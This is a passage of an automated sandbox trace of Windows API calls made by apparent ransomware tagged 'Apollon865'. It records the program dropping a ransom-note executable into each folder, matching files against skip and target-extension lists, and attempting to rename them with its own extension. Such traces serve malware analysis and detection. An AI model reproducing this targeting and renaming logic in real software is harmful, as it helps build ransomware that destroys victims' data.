	[0076.783] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x65, lpOverlapped=0x0) returned 1
	[0076.784] CloseHandle (hObject=0x100) returned 1
	[0076.784] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.784] CloseHandle (hObject=0x0) returned 0
	[0076.784] CloseHandle (hObject=0x0) returned 0
	[0076.784] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0
	[0076.784] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.784] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd50
	[0076.784] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web"
	[0076.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0cf8 | out: hHeap=0x580000) returned 1
	[0076.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0076.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web") returned 68
	[0076.784] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web"
	[0076.784] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.784] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.788] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45d823b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45d823b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.788] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.788] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.788] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.789] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45d823b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45d823b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.789] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.789] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.789] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.789] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.789] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45d823b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45d823b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.789] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.789] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2=".") returned 1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2="..") returned 1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2="windows") returned -1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2="bootmgr") returned 1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2="temp") returned 1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2="pagefile.sys") returned 1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2="boot") returned 1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2="ids.txt") returned 1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2="ntuser.dat") returned 1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2="perflogs") returned 1
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2="MSBuild") returned 1
	[0076.789] lstrlenW (lpString="webbase.xml") returned 11
	[0076.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*") returned 70
	[0076.789] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="webbase.xml" | out: lpString1="webbase.xml") returned="webbase.xml"
	[0076.789] lstrlenW (lpString="webbase.xml") returned 11
	[0076.789] lstrlenW (lpString="Apollon865") returned 10
	[0076.789] lstrcmpiW (lpString1="ebbase.xml", lpString2="Apollon865") returned 1
	[0076.789] lstrlenW (lpString=".dll") returned 4
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2=".dll") returned 1
	[0076.789] lstrlenW (lpString=".lnk") returned 4
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2=".lnk") returned 1
	[0076.789] lstrlenW (lpString=".ini") returned 4
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2=".ini") returned 1
	[0076.789] lstrlenW (lpString=".sys") returned 4
	[0076.789] lstrcmpiW (lpString1="webbase.xml", lpString2=".sys") returned 1
	[0076.790] lstrlenW (lpString="webbase.xml") returned 11
	[0076.790] lstrlenW (lpString="bak") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.790] lstrlenW (lpString="ba_") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.790] lstrlenW (lpString="dbb") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.790] lstrlenW (lpString="vmdk") returned 4
	[0076.790] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.790] lstrlenW (lpString="rar") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.790] lstrlenW (lpString="zip") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.790] lstrlenW (lpString="tgz") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.790] lstrlenW (lpString="vbox") returned 4
	[0076.790] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.790] lstrlenW (lpString="vdi") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.790] lstrlenW (lpString="vhd") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.790] lstrlenW (lpString="vhdx") returned 4
	[0076.790] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.790] lstrlenW (lpString="avhd") returned 4
	[0076.790] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.790] lstrlenW (lpString="db") returned 2
	[0076.790] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.790] lstrlenW (lpString="db2") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.790] lstrlenW (lpString="db3") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.790] lstrlenW (lpString="dbf") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.790] lstrlenW (lpString="mdf") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.790] lstrlenW (lpString="mdb") returned 3
	[0076.790] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.790] lstrlenW (lpString="sql") returned 3
	[0076.791] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.791] lstrlenW (lpString="sqlite") returned 6
	[0076.791] lstrcmpiW (lpString1="se.xml", lpString2="sqlite") returned -1
	[0076.791] lstrlenW (lpString="sqlite3") returned 7
	[0076.791] lstrcmpiW (lpString1="ase.xml", lpString2="sqlite3") returned -1
	[0076.791] lstrlenW (lpString="sqlitedb") returned 8
	[0076.791] lstrcmpiW (lpString1="base.xml", lpString2="sqlitedb") returned -1
	[0076.791] lstrlenW (lpString="xml") returned 3
	[0076.791] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.791] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.Apollon865") returned 91
	[0076.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.793] GetLastError () returned 0x5
	[0076.793] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml MoveFileEx error 5\r\n") returned 109
	[0076.793] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml MoveFileEx error 5\r\n") returned 109
	[0076.794] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.794] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x39de
	[0076.794] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6d, lpOverlapped=0x0) returned 1
	[0076.794] CloseHandle (hObject=0xc0) returned 1
	[0076.794] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.794] CloseHandle (hObject=0x0) returned 0
	[0076.794] CloseHandle (hObject=0x0) returned 0
	[0076.794] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0
	[0076.794] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.794] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd90
	[0076.794] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols"
	[0076.794] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0c58 | out: hHeap=0x580000) returned 1
	[0076.794] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0076.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols") returned 72
	[0076.795] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols"
	[0076.795] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.795] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.805] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45da8510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45da8510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.805] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.805] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.805] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.805] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45da8510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45da8510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.805] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.805] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.805] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.805] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.805] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1
	[0076.805] lstrcmpiW (lpString1="ea-sym.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.805] lstrcmpiW (lpString1="ea-sym.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.805] lstrcmpiW (lpString1="ea-sym.xml", lpString2=".") returned 1
	[0076.805] lstrcmpiW (lpString1="ea-sym.xml", lpString2="..") returned 1
	[0076.805] lstrcmpiW (lpString1="ea-sym.xml", lpString2="windows") returned -1
	[0076.805] lstrcmpiW (lpString1="ea-sym.xml", lpString2="bootmgr") returned 1
	[0076.805] lstrcmpiW (lpString1="ea-sym.xml", lpString2="temp") returned -1
	[0076.806] lstrcmpiW (lpString1="ea-sym.xml", lpString2="pagefile.sys") returned -1
	[0076.806] lstrcmpiW (lpString1="ea-sym.xml", lpString2="boot") returned 1
	[0076.806] lstrcmpiW (lpString1="ea-sym.xml", lpString2="ids.txt") returned -1
	[0076.806] lstrcmpiW (lpString1="ea-sym.xml", lpString2="ntuser.dat") returned -1
	[0076.806] lstrcmpiW (lpString1="ea-sym.xml", lpString2="perflogs") returned -1
	[0076.806] lstrcmpiW (lpString1="ea-sym.xml", lpString2="MSBuild") returned -1
	[0076.806] lstrlenW (lpString="ea-sym.xml") returned 10
	[0076.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*") returned 74
	[0076.806] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="ea-sym.xml" | out: lpString1="ea-sym.xml") returned="ea-sym.xml"
	[0076.806] lstrlenW (lpString="ea-sym.xml") returned 10
	[0076.806] lstrlenW (lpString="Apollon865") returned 10
	[0076.806] lstrlenW (lpString=".dll") returned 4
	[0076.806] lstrcmpiW (lpString1="ea-sym.xml", lpString2=".dll") returned 1
	[0076.806] lstrlenW (lpString=".lnk") returned 4
	[0076.806] lstrcmpiW (lpString1="ea-sym.xml", lpString2=".lnk") returned 1
	[0076.806] lstrlenW (lpString=".ini") returned 4
	[0076.806] lstrcmpiW (lpString1="ea-sym.xml", lpString2=".ini") returned 1
	[0076.806] lstrlenW (lpString=".sys") returned 4
	[0076.806] lstrcmpiW (lpString1="ea-sym.xml", lpString2=".sys") returned 1
	[0076.806] lstrlenW (lpString="ea-sym.xml") returned 10
	[0076.806] lstrlenW (lpString="bak") returned 3
	[0076.806] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.806] lstrlenW (lpString="ba_") returned 3
	[0076.806] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.806] lstrlenW (lpString="dbb") returned 3
	[0076.806] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.806] lstrlenW (lpString="vmdk") returned 4
	[0076.806] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.806] lstrlenW (lpString="rar") returned 3
	[0076.806] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.806] lstrlenW (lpString="zip") returned 3
	[0076.806] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.806] lstrlenW (lpString="tgz") returned 3
	[0076.806] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.806] lstrlenW (lpString="vbox") returned 4
	[0076.806] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.807] lstrlenW (lpString="vdi") returned 3
	[0076.807] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.807] lstrlenW (lpString="vhd") returned 3
	[0076.807] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.807] lstrlenW (lpString="vhdx") returned 4
	[0076.807] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.807] lstrlenW (lpString="avhd") returned 4
	[0076.807] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.807] lstrlenW (lpString="db") returned 2
	[0076.807] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.807] lstrlenW (lpString="db2") returned 3
	[0076.807] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.807] lstrlenW (lpString="db3") returned 3
	[0076.807] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.807] lstrlenW (lpString="dbf") returned 3
	[0076.807] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.807] lstrlenW (lpString="mdf") returned 3
	[0076.807] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.807] lstrlenW (lpString="mdb") returned 3
	[0076.807] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.807] lstrlenW (lpString="sql") returned 3
	[0076.807] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.807] lstrlenW (lpString="sqlite") returned 6
	[0076.807] lstrcmpiW (lpString1="ym.xml", lpString2="sqlite") returned 1
	[0076.807] lstrlenW (lpString="sqlite3") returned 7
	[0076.807] lstrcmpiW (lpString1="sym.xml", lpString2="sqlite3") returned 1
	[0076.807] lstrlenW (lpString="sqlitedb") returned 8
	[0076.807] lstrcmpiW (lpString1="-sym.xml", lpString2="sqlitedb") returned 1
	[0076.807] lstrlenW (lpString="xml") returned 3
	[0076.807] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.807] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.Apollon865") returned 94
	[0076.807] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.813] GetLastError () returned 0x5
	[0076.813] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml MoveFileEx error 5\r\n") returned 112
	[0076.813] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml MoveFileEx error 5\r\n") returned 112
	[0076.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.813] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3a4b
	[0076.814] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x70, lpOverlapped=0x0) returned 1
	[0076.814] CloseHandle (hObject=0x100) returned 1
	[0076.814] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.814] CloseHandle (hObject=0x0) returned 0
	[0076.814] CloseHandle (hObject=0x0) returned 0
	[0076.814] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45da8510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45da8510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.814] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.814] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1
	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2=".") returned 1
	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="..") returned 1
	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="windows") returned -1
	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="bootmgr") returned 1
	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="temp") returned -1
	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="pagefile.sys") returned -1
	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="boot") returned 1
	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="ids.txt") returned 1
	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="ntuser.dat") returned -1
